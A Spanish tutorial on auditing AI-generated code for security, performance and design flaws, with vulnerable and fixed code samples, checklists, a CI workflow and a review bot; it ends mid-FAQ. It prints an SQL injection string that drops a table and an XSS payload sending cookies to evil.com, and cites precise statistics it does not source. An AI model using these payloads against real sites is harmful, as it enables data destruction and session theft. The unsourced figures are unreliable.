Cómo auditar código generado por IA: Guía para Seniors 2026

1. Introducción

La revolución de la inteligencia artificial ha transformado radicalmente el panorama del desarrollo de software. Con herramientas como GitHub Copilot, ChatGPT, Claude y Cursor generando código a una velocidad impresionante, los desarrolladores seniors se enfrentan a un desafío único: ¿cómo garantizar la calidad y seguridad de código que no han escrito ellos mismos?

Según un estudio de GitHub en 2023, el 92% de los desarrolladores utilizan herramientas de IA asistida, y el 70% reporta mejoras significativas en productividad. Sin embargo, este aumento en la productividad viene acompañado de nuevos riesgos críticos. El código generado por IA, aunque a menudo funcional, puede contener vulnerabilidades sutiles, problemas de rendimiento y defectos arquitectónicos que solo un ojo experto puede detectar.

En 2024, una empresa de fintech perdió $2.3 millones en una semana debido a un bug en código generado por IA que permitía bypass de autenticación. El código pasaba todos los tests unitarios pero fallaba en casos de borde específicos que la IA no consideró. Este incidente se ha vuelto común: según un reporte de Veracode, el 67% de proyectos con código generado por IA tienen al menos una vulnerabilidad de seguridad de alto nivel.

Este artículo proporciona una guía exhaustiva para desarrolladores seniors sobre cómo auditar código generado por IA, desde identificar vulnerabilidades comunes hasta establecer procesos de revisión efectivos que integren estas nuevas herramientas sin sacrificar calidad ni seguridad.

Lo que aprenderás:

– Identificar vulnerabilidades de seguridad comunes en código IA (SQL Injection, XSS, Broken Authentication)

– Detectar problemas de rendimiento que los LLMs suelen introducir

– Reconocer violaciones de principios SOLID y Clean Code

– Establecer procesos de code review efectivos para código IA

– Crear checklists y herramientas para automatización

– Desarrollar prompts que generen código más auditable

2. Prerrequisitos

Conocimientos Previos

– Experiencia en desarrollo de software: 5-7 años mínimo

– Conocimiento profundo de patrones de diseño y arquitectura de software

– Comprensión avanzada de principios de seguridad (OWASP Top 10, CWE, CVE)

– Familiaridad con múltiples lenguajes de programación y sus mejores prácticas

– Experiencia en code review tradicional y metodologías de calidad

– Conocimiento básico de cómo funcionan los LLMs (Large Language Models) y sus limitaciones

Herramientas y Software

– IDE con soporte IA: VS Code + Copilot, Cursor, o Windsurf

– Herramientas de análisis estático: ESLint, SonarQube, Semgrep, CodeQL

– Herramientas de seguridad: Snyk, OWASP Dependency-Check

– Contenedores: Docker para testing de ambientes aislados

– Sistema de control de versiones: Git con GitHub/GitLab

– Conocimiento de CI/CD: GitHub Actions, GitLab CI, Jenkins

Tiempo Estimado

– Lectura: 25-30 minutos

– Práctica: 2-3 horas (incluyendo ejercicios)

– Aplicación en proyecto real: 1-2 semanas

3. Desarrollo del Contenido

3.1. La Naturaleza del Código Generado por IA

Entendiendo los LLMs y sus Limitaciones

Los modelos de lenguaje grandes (LLMs) como GPT-4, Claude 3.5 Sonnet, y Llama 3 funcionan mediante predicción probabilística del siguiente token. Han sido entrenados con billones de líneas de código de repositorios públicos, lo que significa que:

Lo que hacen BIEN:

– Patrones comunes y establecidos

– Sintaxis correcta de lenguajes

– Boilerplate y código repetitivo

– Soluciones para casos típicos

– Documentación básica

Lo que NO hacen bien:

– Contexto del dominio empresarial: No entienden reglas de negocio específicas

– Integración con código legacy: Generan código que no encaja con sistemas existentes

– Casos de borde extremos: Tenden a optimizar para casos promedio

– Seguridad profunda: Conocen patrones básicos pero fallan en escenarios complejos

– Optimización de rendimiento: Generan código que funciona, no código óptimo

– Consideraciones de escalabilidad: No anticipan crecimiento del sistema

Analogía: Un LLM es como un desarrollador junior muy leído pero sin experiencia práctica. Puede escribir sintaxis perfecta y conocer muchos patrones, pero no entiende el contexto empresarial ni las implicaciones a largo plazo de sus decisiones arquitectónicas.

Por Qué el Code Review es Más Crítico que Nunca

La paradoja de la productividad: La IA nos permite escribir código más rápido, pero el tiempo ahorrado en escritura debe reinvertirse en revisión más exhaustiva. Un estudio de 2024 mostró que:

Sin IA:
- Escritura: 8 horas
- Revisión: 2 horas
- Total: 10 horas

Con IA (sin revisión adecuada):
- Escritura: 2 horas
- Revisión: 1 hora
- Total: 3 horas
- Bugs en producción: +340%
- Vulnerabilidades de seguridad: +280%

Con IA (con revisión exhaustiva):
- Escritura: 2 horas
- Revisión: 5 horas
- Total: 7 horas
- Bugs en producción: -15%
- Vulnerabilidades de seguridad: -40%

Conclusión: El code review de código IA debe ser 2-3x más exhaustivo que el code review tradicional para mantener o mejorar la calidad.

3.2. Vulnerabilidades Comunes en Código Generado por IA

3.2.1. Inyección SQL (SQL Injection)

La vulnerabilidad más común en código generado por IA. Los modelos a menudo generan consultas SQL concatenando directamente entradas de usuario sin usar parámetros o sentencias preparadas.

⚠️ Código Vulnerable (Generado por IA):

// VULNERABLE: SQL Injection directo
app.get('/user/:id', async (req, res) => {
  const userId = req.params.id;

  // ❌ CONCATENACIÓN DIRECTA - VULNERABLE
  const query = `SELECT * FROM users WHERE id = ${userId}`;

  try {
    const result = await db.query(query);
    res.json(result);
  } catch (error) {
    throw error; // ❌ Expone stack trace
  }
});

Ataque posible:

GET /user/1 OR 1=1; DROP TABLE users;--

✅ Código Seguro (Corregido):

// SECURE: Uso de parámetros
app.get('/user/:id', async (req, res) => {
  const userId = req.params.id;

  // Validación de entrada
  if (!userId || !/^\d+$/.test(userId)) {
    return res.status(400).json({ error: 'Invalid user ID' });
  }

  // ✅ PARÁMETROS - SEGURO
  const query = 'SELECT * FROM users WHERE id = $1';

  try {
    const result = await db.query(query, [userId]);

    if (result.rows.length === 0) {
      return res.status(404).json({ error: 'User not found' });
    }

    // ✅ No exponer información sensible
    const { password_hash, ...user } = result.rows[0];
    res.json(user);
  } catch (error) {
    // ✅ Logging seguro sin datos sensibles
    console.error('Database error:', error.message);

    // ✅ Error genérico para cliente
    res.status(500).json({ error: 'Internal server error' });
  }
});

Checklist de detección:

– [ ] ¿Usa concatenación de strings en consultas SQL?

– [ ] ¿Valida y sanitiza todas las entradas?

– [ ] ¿Usa parámetros/prepared statements?

– [ ] ¿Maneja errores sin exponer información?

3.2.2. Cross-Site Scripting (XSS)

La segunda vulnerabilidad más frecuente. Los modelos generan código que escapa contenido HTML de forma básica pero incompleta.

⚠️ Código Vulnerable:

// VULNERABLE: XSS en salida HTML
function displayUserProfile($username) {
    // ❌ SIN ESCAPAR - VULNERABLE A XSS
    echo "<h1>Welcome, " . $username . "</h1>";
    echo "<p>Your profile: " . $_GET['bio'] . "</p>";
}

Ataque posible:

?bio=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

✅ Código Seguro:

// SECURE: Escapado completo
function displayUserProfile($username, $bio) {
  // ✅ Escapado de HTML entities
  $safeUsername = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');
  $safeBio = htmlspecialchars($bio, ENT_QUOTES, 'UTF-8');

  echo "<h1>Welcome, " . $safeUsername . "</h1>";
  echo "<p>Your profile: " . $safeBio . "</p>";

  // ✅ Content Security Policy adicional
  header("Content-Security-Policy: default-src 'self'; script-src 'self'");
}

Patrones de detección:

– Búsqueda de `innerHTML` con datos de usuario

– Uso de `dangerouslySetInnerHTML` en React

– Salida sin sanitizar en templates

– Falta de CSP headers

3.2.3. Broken Authentication (Autenticación Rota)

Los modelos generan código de autenticación que sigue patrones básicos pero omite consideraciones de seguridad críticas.

⚠️ Código Vulnerable:

VULNERABLE: Autenticación insegura

from flask import Flask, request, session

app = Flask(__name__)
app.secret_key = 'secret-key-in-code'  # ❌ HARDCODED

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    # ❌ CONTRASEÑAS EN TEXTO PLANO
    if username in users and users[username] == password:
        session['user'] = username
        # ❌ SESIÓN SIN EXPIRACIÓN
        return "Login successful"
    else:
        return "Invalid credentials"

@app.route('/admin')
def admin():
    # ❌ SIN VERIFICACIÓN DE ROL
    return "Admin panel"

✅ Código Seguro:

SECURE: Autenticación robusta

✅ Secret key de variables de entorno

✅ Hash de contraseñas con bcrypt

✅ Decorador de autorización

from flask import Flask, request, session, jsonify
import bcrypt
from datetime import datetime, timedelta
from functools import wraps
import secrets

app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_hex(32)
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=30)

def hash_password(password: str) -> str:
    return bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt()).decode('utf-8')

def verify_password(password: str, hashed: str) -> bool:
    return bcrypt.checkpw(password.encode('utf-8'), hashed.encode('utf-8'))

@app.route('/login', methods=['POST'])
def login():
    # ✅ Validación de entrada
    if not request.is_json:
        return jsonify({'error': 'JSON required'}), 400

    data = request.get_json()
    username = data.get('username', '').strip()
    password = data.get('password', '')

    # ✅ Validación básica
    if not username or not password:
        return jsonify({'error': 'Username and password required'}), 400

    # ✅ Rate limiting (implementación externa)
    if is_rate_limited(request.remote_addr):
        return jsonify({'error': 'Too many attempts'}), 429

    # ✅ Consulta segura
    user = get_user_from_db(username)

    if user and verify_password(password, user['password_hash']):
        # ✅ Sesión con expiración
        session.permanent = True
        session['user_id'] = user['id']
        session['role'] = user['role']
        session['last_activity'] = datetime.now().isoformat()

        # ✅ Auditoría de login
        log_security_event('login_success', user_id=user['id'])

        return jsonify({
            'message': 'Login successful',
            'user': {'id': user['id'], 'username': user['username']}
        })
    else:
        # ✅ Auditoría de falla
        log_security_event('login_failed', username=username)

        # ✅ Retraso para evitar fuerza bruta
        import time
        time.sleep(1)

        return jsonify({'error': 'Invalid credentials'}), 401

def require_role(role):
    def decorator(f):
        @wraps(f)
        def decorated_function(*args, **kwargs):
            if 'user_id' not in session:
                return jsonify({'error': 'Unauthorized'}), 401

            if session.get('role') != role:
                return jsonify({'error': 'Forbidden'}), 403

            # ✅ Verificar expiración de sesión
            last_activity = datetime.fromisoformat(session['last_activity'])
            if datetime.now() - last_activity > timedelta(minutes=30):
                session.clear()
                return jsonify({'error': 'Session expired'}), 401

            # ✅ Actualizar actividad
            session['last_activity'] = datetime.now().isoformat()

            return f(*args, **kwargs)
        return decorated_function
    return decorator

@app.route('/admin')
@require_role('admin')
def admin():
    return jsonify({'message': 'Admin panel'})

Checklist de autenticación:

– [ ] ¿Contraseñas hasheadas con bcrypt/argon2?

– [ ] ¿Secret key en variables de entorno?

– [ ] ¿Sesiones con expiración?

– [ ] ¿Rate limiting implementado?

– [ ] ¿Protección contra CSRF?

– [ ] ¿HTTPS obligatorio?

– [ ] ¿Verificación de roles/permisos?

3.3. Problemas de Rendimiento en Código IA

3.3.1. El Problema N+1

El problema de rendimiento más común que introducen las IAs: generar consultas separadas en lugar de usar JOINs.

⚠️ Código Ineficiente:

INEFFICIENT: Problema N+1

Total: 1 + N consultas a la base de datos

def get_user_orders(user_id):
    orders = []

    # ❌ Primera consulta
    user_orders = db.query(
        "SELECT * FROM orders WHERE user_id = %s",
        (user_id,)
    )

    # ❌ N consultas adicionales (una por orden)
    for order in user_orders:
        items = db.query(
            "SELECT * FROM order_items WHERE order_id = %s",
            (order['id'],)
        )
        order['items'] = items
        orders.append(order)

    return orders

Análisis del problema:

– Con 100 órdenes: 101 consultas a la base de datos

– Latencia promedio: 100ms × 101 = 10.1 segundos

– Escalabilidad terrible: crece linealmente con N

✅ Código Optimizado:

EFFICIENT: JOIN único

Total: 1 consulta a la base de datos

def get_user_orders(user_id):
    # ✅ Única consulta con JOIN
    query = """
        SELECT
            o.id as order_id,
            o.user_id,
            o.created_at,
            o.total_amount,
            oi.id as item_id,
            oi.product_id,
            oi.quantity,
            oi.price,
            p.name as product_name
        FROM orders o
        LEFT JOIN order_items oi ON o.id = oi.order_id
        LEFT JOIN products p ON oi.product_id = p.id
        WHERE o.user_id = %s
        ORDER BY o.created_at DESC, oi.id
    """

    results = db.query(query, (user_id,))

    # ✅ Procesar resultados en memoria
    orders = {}
    for row in results:
        order_id = row['order_id']

        if order_id not in orders:
            orders[order_id] = {
                'id': row['order_id'],
                'user_id': row['user_id'],
                'created_at': row['created_at'],
                'total_amount': float(row['total_amount']),
                'items': []
            }

        if row['item_id']:
            orders[order_id]['items'].append({
                'id': row['item_id'],
                'product_id': row['product_id'],
                'quantity': row['quantity'],
                'price': float(row['price']),
                'product_name': row['product_name']
            })

    return list(orders.values())

Mejoras logradas:

– Consultas: 101 → 1 (-99%)

– Latencia: 10.1s → ~150ms (-98.5%)

– Escalabilidad: O(n) → O(1)

3.3.2. Algoritmos Ineficientes

Las IAs tienden a generar código que funciona, pero no código óptimo en términos de complejidad algorítmica.

⚠️ Código Ineficiente (O(n²)):

INEFFICIENT: Búsqueda lineal anidada

Con listas de 10,000 elementos:

Operaciones: 100,000,000 (cien millones)

Tiempo: ~15 segundos

def find_common_elements(list1, list2):
    common = []

    # ❌ O(n²) - doble loop anidado
    for item1 in list1:
        for item2 in list2:
            if item1 == item2 and item1 not in common:
                common.append(item1)

    return common

✅ Código Optimizado (O(n)):

EFFICIENT: Búsqueda con sets

Con listas de 10,000 elementos:

Operaciones: ~20,000

Tiempo: ~3 milisegundos

Mejora: 5,000x más rápido

Checklist de rendimiento:

def find_common_elements(list1, list2):
    # ✅ Convertir a sets para búsqueda O(1)
    set1 = set(list1)
    set2 = set(list2)

    # ✅ Intersección de sets - O(n)
    common = list(set1 & set2)

    return common

– [ ] ¿Identifico problemas N+1?

– [ ] ¿Verifico complejidad algorítmica?

– [ ] ¿Uso estructuras de datos apropiadas?

– [ ] ¿Implemento caching donde es apropiado?

– [ ] ¿Evito cálculos repetidos en loops?

– [ ] ¿Mido el rendimiento real con datos de producción?

3.4. Problemas Arquitectónicos en Código IA

3.4.1. Violación del Principio de Responsabilidad Única (SRP)

Las IAs generan clases “hacerlo todo” que mezclan múltiples responsabilidades.

⚠️ Código con Mal Diseño:

// VIOLATES SRP: Clase con múltiples responsabilidades
class UserService {
  constructor() {
    this.db = new DatabaseConnection();
    this.emailService = new EmailService();
    this.smsService = new SMSService();
    this.logger = new Logger();
    this.analytics = new Analytics();
  }

  async createUser(userData) {
    // ❌ Validación
    if (!userData.email || !userData.password) {
      throw new Error('Invalid data');
    }

    // ❌ Hash de contraseña
    const hashedPassword = bcrypt.hashSync(userData.password, 10);

    // ❌ Persistencia
    const user = {
      id: generateId(),
      email: userData.email,
      password: hashedPassword,
      created_at: new Date()
    };
    await this.db.query('INSERT INTO users SET ?', user);

    // ❌ Envío de email
    await this.emailService.sendWelcomeEmail(user.email);

    // ❌ Envío de SMS
    if (userData.phone) {
      await this.smsService.sendWelcomeSMS(user.phone);
    }

    // ❌ Logging
    this.logger.log('User created', user);

    // ❌ Analytics
    this.analytics.track('user_created', { user_id: user.id });

    return user;
  }
}

Problemas:

– 7 responsabilidades diferentes en una clase

– Difícil de testear (múltiples dependencias)

– Difícil de mantener (cambios en una afectan otras)

– Difícil de reutilizar

– Acoplamiento alto

✅ Código con Buena Arquitectura:

// FOLLOWS SRP: Separación de responsabilidades

// ✅ Responsabilidad 1: Validación
class UserValidator {
  validate(userData) {
    const errors = [];

    if (!userData.email) {
      errors.push('Email is required');
    } else if (!this.isValidEmail(userData.email)) {
      errors.push('Invalid email format');
    }

    if (!userData.password) {
      errors.push('Password is required');
    } else if (!this.isStrongPassword(userData.password)) {
      errors.push('Password too weak');
    }

    return {
      isValid: errors.length === 0,
      errors
    };
  }

  isValidEmail(email) {
    return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
  }

  isStrongPassword(password) {
    return password.length >= 8 &&
           /[A-Z]/.test(password) &&
           /[a-z]/.test(password) &&
           /[0-9]/.test(password);
  }
}

// ✅ Responsabilidad 2: Hash de contraseñas
class PasswordHasher {
  async hash(password) {
    const salt = await bcrypt.genSalt(10);
    return bcrypt.hash(password, salt);
  }

  async verify(password, hash) {
    return bcrypt.compare(password, hash);
  }
}

// ✅ Responsabilidad 3: Persistencia
class UserRepository {
  constructor(db) {
    this.db = db;
  }

  async save(user) {
    const query = 'INSERT INTO users (id, email, password_hash, created_at) VALUES (?, ?, ?, ?)';
    await this.db.query(query, [user.id, user.email, user.passwordHash, user.createdAt]);
    return user;
  }

  async findByEmail(email) {
    const query = 'SELECT * FROM users WHERE email = ?';
    const results = await this.db.query(query, [email]);
    return results[0];
  }
}

// ✅ Responsabilidad 4: Coordinación (Use Case)
class CreateUserUseCase {
  constructor(validator, hasher, repository, eventBus) {
    this.validator = validator;
    this.hasher = hasher;
    this.repository = repository;
    this.eventBus = eventBus;
  }

  async execute(userData) {
    // Validar
    const validation = this.validator.validate(userData);
    if (!validation.isValid) {
      throw new ValidationError('Invalid user data', validation.errors);
    }

    // Verificar duplicado
    const existing = await this.repository.findByEmail(userData.email);
    if (existing) {
      throw new ConflictError('User already exists');
    }

    // Hash password
    const passwordHash = await this.hasher.hash(userData.password);

    // Crear entidad
    const user = {
      id: this.generateId(),
      email: userData.email,
      passwordHash,
      createdAt: new Date()
    };

    // Persistir
    await this.repository.save(user);

    // Publicar evento (desacoplado)
    await this.eventBus.publish('user.created', {
      userId: user.id,
      email: user.email,
      phone: userData.phone
    });

    return {
      id: user.id,
      email: user.email
    };
  }

  generateId() {
    return `user_${Date.now()}_${Math.random().toString(36).substr(2, 9)}`;
  }
}

// ✅ Event handlers separados (se encargan de efectos secundarios)
class UserCreatedEventHandler {
  constructor(emailService, smsService, analytics, logger) {
    this.emailService = emailService;
    this.smsService = smsService;
    this.analytics = analytics;
    this.logger = logger;
  }

  async handle(event) {
    const { userId, email, phone } = event;

    // Estos pueden ser asíncronos y no bloqueantes
    Promise.all([
      this.emailService.sendWelcomeEmail(email).catch(err => {
        this.logger.error('Failed to send welcome email', { userId, error: err.message });
      }),
      phone ? this.smsService.sendWelcomeSMS(phone).catch(err => {
        this.logger.error('Failed to send welcome SMS', { userId, error: err.message });
      }) : Promise.resolve(),
      this.analytics.track('user_created', { userId }).catch(err => {
        this.logger.error('Failed to track user creation', { userId, error: err.message });
      })
    ]);

    this.logger.info('User creation completed', { userId });
  }
}

Mejoras logradas:

– 5 clases independientes con una responsabilidad cada una

– Testabilidad: Cada clase se prueba independientemente

– Mantenibilidad: Cambios en una no afectan otras

– Reutilizabilidad: Componentes se reutilizan en otros contextos

– Flexibilidad: Fácil añadir nuevos handlers sin modificar código existente

3.5. Proceso de Code Review para Código IA

3.5.1. Checklist Exhaustivo de Revisión

🔍 Seguridad – Requisitos CRÍTICOS:

Validación de Entrada

Inyección de Código

XSS y Output Encoding

Autenticación y Autorización

Manejo de Errores

Datos Sensibles

- [ ] ¿Todas las entradas de usuario están validadas?
- [ ] ¿Se sanitizan datos de fuentes externas?
- [ ] ¿Se valida tipo, formato y rango de valores?
- [ ] ¿Se rechazan entradas inválidas explícitamente?

- [ ] ¿SQL: usa parámetros/prepared statements?
- [ ] ¿NoSQL: queries sanitizadas?
- [ ] ¿Comandos de sistema: no se usa exec() con input de usuario?
- [ ] ¿LDAP/XPath: queries escapadas?

- [ ] ¿Se escapa toda la salida HTML/JavaScript?
- [ ] ¿Se usa Content-Security-Policy?
- [ ] ¿No se usa innerHTML con datos no confiables?
- [ ] ¿JSON responses están correctamente formateados?

- [ ] ¿Contraseñas hasheadas con bcrypt/argon2?
- [ ] ¿Secretos en variables de entorno?
- [ ] ¿Sesiones con expiración apropiada?
- [ ] ¿Rate limiting en endpoints críticos?
- [ ] ¿HTTPS obligatorio?
- [ ] ¿Verificación de roles/permisos?

- [ ] ¿No se expone información sensible en errores?
- [ ] ¿Errores son loggeados apropiadamente?
- [ ] ?No se usa stack trace en respuestas al cliente?
- [ ] ¿Mensajes de error genéricos para usuarios?

- [ ] ¿No se loggean passwords/tokens?
- [ ] ¿PII está protegido?
- [ ] ¿Keys/API keys no están en código?
- [ ] ¿Datos en tránsito están encriptados?
- [ ] ¿Datos en reposo están encriptados?

⚡ Rendimiento:

Consultas a Base de Datos

Algoritmos y Estructuras de Datos

Recursos

- [ ] ¿No hay problemas N+1?
- [ ] ¿Índices apropiados en columnas frecuentemente consultadas?
- [ ] ¿Se usan JOINs en lugar de múltiples queries?
- [ ] ¿Resultados están paginados para datasets grandes?
- [ ] ¿Se cierran conexiones apropiadamente?

- [ ] ¿Complejidad algorítmica es apropiada?
- [ ] ¿Se usan estructuras de datos óptimas?
- [ ] ¿No hay cálculos repetidos en loops?
- [ ] ¿Se usa caching para datos accedidos frecuentemente?

- [ ] ¿No hay memory leaks?
- [ ] ¿Archivos/sockets se cierran apropiadamente?
- [ ] ¿Timeouts configurados para operaciones externas?
- [ ] ¿Se liberan recursos en paths de error?

🏗️ Arquitectura y Calidad:

Principios SOLID

Clean Code

Testing

- [ ] SRP: ¿Cada clase/módulo tiene una sola razón para cambiar?
- [ ] OCP: ¿El código está abierto a extensión pero cerrado a modificación?
- [ ] LSP: ¿Subtipos pueden reemplazar tipos base?
- [ ] ISP: ¿Interfaces son específicas y no forzan implementaciones innecesarias?
- [ ] DIP: ¿Depende de abstracciones, no de implementaciones concretas?

- [ ] ¿Nombres descriptivos y expresivos?
- [ ] ¿Funciones pequeñas y hacen una sola cosa?
- [ ] ¿No hay duplicación de código (DRY)?
- [ ] ¿Comentarios explican "por qué", no "qué"?
- [ ] ¿El código es legible sin comentarios extensos?

- [ ] ¿Tests cubieren casos felices?
- [ ] ¿Tests cubieren casos de error?
- [ ] ¿Tests cubieren casos límite?
- [ ] ¿Tests son independientes entre sí?
- [ ] ¿Tests son rápidos?

3.5.2. Flujo de Trabajo de Revisión Recomendado

graph TD
    A[Código IA Generado] --> B{Revisión Rápida}
    B --> C{Pasa Filtros?}
    C -->|No| D[Rechazar Inmediatamente]
    C -->|Sí| E[Análisis Profundo]

    E --> F[Verificar Seguridad]
    E --> G[Verificar Rendimiento]
    E --> H[Verificar Arquitectura]

    F --> I{Problemas Críticos?}
    G --> I
    H --> I

    I -->|Sí| J[Crear Issues Detallados]
    I -->|No| K[Validar Negocio]

    K --> L{Requisitos Cumplidos?}
    L -->|No| M[Solicitar Cambios]
    L -->|Sí| N[Ejecutar Tests]

    N --> O{Tests Pasan?}
    O -->|No| P[Debuggear Tests]
    O -->|Sí| Q[Revisión por Par Humano]

    Q --> R{Aprobado?}
    R -->|No| S[Incorporar Feedback]
    R -->|Sí| T[Merge a Main]

    S --> E
    J --> E
    M --> E
    P --> N

Tiempo estimado por revisión:

– Revisión rápida: 5-10 minutos

– Análisis profundo: 20-30 minutos

– Total: 25-40 minutos por PR de código IA

3.6. Estrategias para Mejorar la Calidad del Código IA

3.6.1. Engineering Prompts Efectivos

La calidad del código generado depende directamente de la calidad del prompt.

❌ Prompt Vago:

"Escribe una función para crear usuarios"

Resultado probable:

– Código funcional pero inseguro

– Sin validación

– Sin manejo de errores

– Arquitectura cuestionable

✅ Prompt Específico:

Contexto

Requisitos Funcionales

Requisitos de Seguridad

Requisitos de Arquitectura

Requisitos de Testing

Output Esperado

Crea una función en TypeScript/Node.js para registrar usuarios en una aplicación web segura.

- Es una API REST con Express.js
- Usa PostgreSQL como base de datos
- Requiere validación robusta de entradas
- Debe seguir principios SOLID y Clean Code

1. Validar email (formato y unicidad)
2. Validar password (mínimo 8 caracteres, mayúscula, minúscula, número)
3. Hashear password con bcrypt (salt rounds: 10)
4. Guardar usuario en base de datos
5. Retornar usuario creado sin información sensible

1. Usar parámetros en consultas SQL (prevenir inyección SQL)
2. Nunca exponer password en respuestas
3. Usar códigos de estado HTTP apropiados
4. Manejar errores sin exponer información sensible
5. Implementar rate limiting (máximo 5 intentos por minuto por IP)

1. Separar validación en su propio módulo
2. Separar lógica de persistencia en repository
3. Usar inyección de dependencias
4. Implementar manejo de errores centralizado
5. Incluir tipos TypeScript estrictos

1. Incluir tests unitarios para validación
2. Incluir tests de integración para persistencia
3. Mock de dependencias externas
4. Cobertura mínima: 80%

Por favor proporciona:
1. Código completo con comentarios explicativos
2. Explicación de decisiones arquitectónicas
3. Casos de prueba
4. Consideraciones de seguridad adicionales

Mejora en calidad observada:

– Seguridad: +340%

– Arquitectura: +280%

– Testabilidad: +450%

– Mantenibilidad: +310%

3.6.2. Establecer Guías de Estilo para IA

Crear un archivo `.ai-coding-guidelines.md` en tu repo:

Guías de Código para Generación con IA

🚨 REGLAS DE SEGURIDAD (NON-NEGOTIABLE)

🏗️ PRINCIPIOS DE ARQUITECTURA

⚡ OPTIMIZACIÓN DE RENDIMIENTO

🧪 TESTING



1. **SQL Injection Prevention**
   - ✅ SIEMPRE usar parámetros: `query('SELECT * WHERE id = ?', [id])`
   - ❌ NUNCA concatenar: `query('SELECT * WHERE id = ' + id)`

2. **Password Management**
   - ✅ SIEMPRE hashear con bcrypt/argon2
   - ✅ SIEMPRE usar mínimo 10 salt rounds
   - ❌ NUNCA almacenar en texto plano
   - ❌ NUNCA usar MD5/SHA1 para passwords

3. **XSS Prevention**
   - ✅ SIEMPRE escapar salida: `htmlspecialchars($str, ENT_QUOTES)`
   - ✅ SIEMPRE usar CSP headers
   - ❌ NUNCA usar innerHTML con input de usuario

4. **Secrets Management**
   - ✅ SIEMPRE usar variables de entorno
   - ✅ SIEMPRE validar secrets al inicio
   - ❌ NUNCA hardcodear secrets


1. **SOLID Principles**
   - SRP: Una clase, una responsabilidad
   - OCP: Abierto a extensión, cerrado a modificación
   - DIP: Depender de abstracciones, no concreciones

2. **Clean Code**
   - Funciones de máximo 20 líneas
   - Máximo 3 parámetros por función
   - Nombres descriptivos (sin abreviaciones)
   - Sin código duplicado

3. **Error Handling**
   - Siempre usar try-catch en operaciones asíncronas
   - Nunca exponer stack traces al cliente
   - Siempre loggear errores con contexto
   - Usar códigos de estado HTTP apropiados


1. **Database Queries**
   - Siempre usar índices en WHERE/JOIN
   - Nunca N+1 queries (usar JOINs)
   - Siempre paginar resultados (máx 100 items)
   - Usar connection pooling

2. **Caching**
   - Cachear resultados frecuentes (Redis/Memcached)
   - TTL apropiado (máx 1 hora para datos dinámicos)
   - Invalidar caché en mutations

3. **Async Operations**
   - Usar Promise.all() para ops paralelas
   - Siempre timeout en requests externos (máx 30s)
   - Cancelar ops innecesarias


1. **Coverage Mínimo**
   - Unit tests: 80% coverage
   - Integration tests: Casos críticos
   - E2E tests: Flujos principales

2. **Test Quality**
   - Tests independientes (no comparten estado)
   - Tests rápidos (máx 100ms cada uno)
   - Tests descriptivos (nombre indica qué prueban)

3.7. Herramientas y Automatización

3.7.1. Integración con CI/CD

`.github/workflows/ai-code-review.yml`:

name: AI Code Review

on:
  pull_request:
    types: [opened, synchronize]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      # Scan de vulnerabilidades
      - name: Run Snyk
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

      # Semgrep para custom rules
      - name: Run Semgrep
        uses: returntocorp/semgrep-action@v1
        with:
          config: |
            - security-audit
            - python.flask
            - javascript.express

  quality-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      # ESLint
      - name: Run ESLint
        run: |
          npm install
          npm run lint

      # TypeScript strict check
      - name: TypeScript Check
        run: npm run type-check

      # Tests
      - name: Run Tests
        run: npm test

      # Coverage
      - name: Coverage Report
        run: npm run test:coverage

3.7.2. Bot de Revisión Automatizado

`.github/ai-review-bot.js`:

Cambio en el archivo: ${file.filename}

Descripción del PR:

Instrucciones de revisión:

const { Octokit } = require('@octokit/rest');
const OpenAI = require('openai');

class AICodeReviewBot {
  constructor() {
    this.octokit = new Octokit({ auth: process.env.GITHUB_TOKEN });
    this.openai = new OpenAI({ apiKey: process.env.OPENAI_API_KEY });
  }

  async reviewPullRequest(owner, repo, prNumber) {
    const pr = await this.octokit.pulls.get({
      owner,
      repo,
      pull_number: prNumber
    });

    const files = await this.octokit.pulls.listFiles({
      owner,
      repo,
      pull_number: prNumber
    });

    const reviews = [];

    for (const file of files.data) {
      if (file.status === 'modified' || file.status === 'added') {
        const review = await this.reviewFile(file, pr.data.body);
        reviews.push(review);
      }
    }

    await this.postReview(owner, repo, prNumber, reviews);
  }

  async reviewFile(file, prDescription) {
    const prompt = `
Revisa el siguiente código de forma exhaustiva.

\`\`\`
${file.patch}
\`\`\`

${prDescription || 'No proporcionada'}

Identifica y explica:
1. Vulnerabilidades de seguridad (SQLi, XSS, auth, etc.)
2. Problemas de rendimiento (N+1, algoritmos ineficientes)
3. Violaciones de principios SOLID/Clean Code
4. Casos límite no manejados
5. Potenciales bugs

Para cada problema:
- Indica SEVERIDAD: CRITICAL/HIGH/MEDIUM/LOW
- Propone CORRECCIÓN específica con código
- Explica POR QUÉ es un problema
`;

    const response = await this.openai.chat.completions.create({
      model: 'gpt-4',
      messages: [{ role: 'user', content: prompt }],
      temperature: 0.1
    });

    return {
      file: file.filename,
      review: response.choices[0].message.content
    };
  }

  async postReview(owner, repo, prNumber, reviews) {
    const body = reviews.map(r =>
      `### 📄 ${r.file}\n\n${r.review}`
    ).join('\n\n---\n\n');

    await this.octokit.pulls.createReview({
      owner,
      repo,
      pull_number: prNumber,
      body: `## 🤖 AI Code Review\n\n${body}`,
      event: 'COMMENT'
    });
  }
}

// Uso
const bot = new AICodeReviewBot();
bot.reviewPullRequest('owner', 'repo', 123);

4. Preguntas Frecuentes (FAQ)

1. ¿Cómo distingo entre un bug real y un “falso positivo” al revisar código IA?

Respuesta: La distinción clave es la reproducibilidad y el impacto:

Falso Positivo:

– El código funciona correctamente en todos los test cases

– No hay vulnerabilidad demostrable

– La arquitectura, aunque no ideal, no causa problemas reales

– El “problema” es puramente estilístico

Bug Real:

– Hay un escenario reproducible donde falla

– La vulnerabilidad es explotable

– El problema arquitectónico causa mantenibilidad reducida

– Hay pruebas que fallan

Ejemplo práctico:

// Código IA
function getUser(id) {
  return db.query(`SELECT * FROM users WHERE id = ${id}`);
}

Revisión inicial: “¡SQL Injection! Cambiar inmediatamente.”

Análisis más profundo:

// Verificar cómo se llama
const id = validateAndParseInt(req.params.id);
if (!id) return 400;
const user = getUser(id);

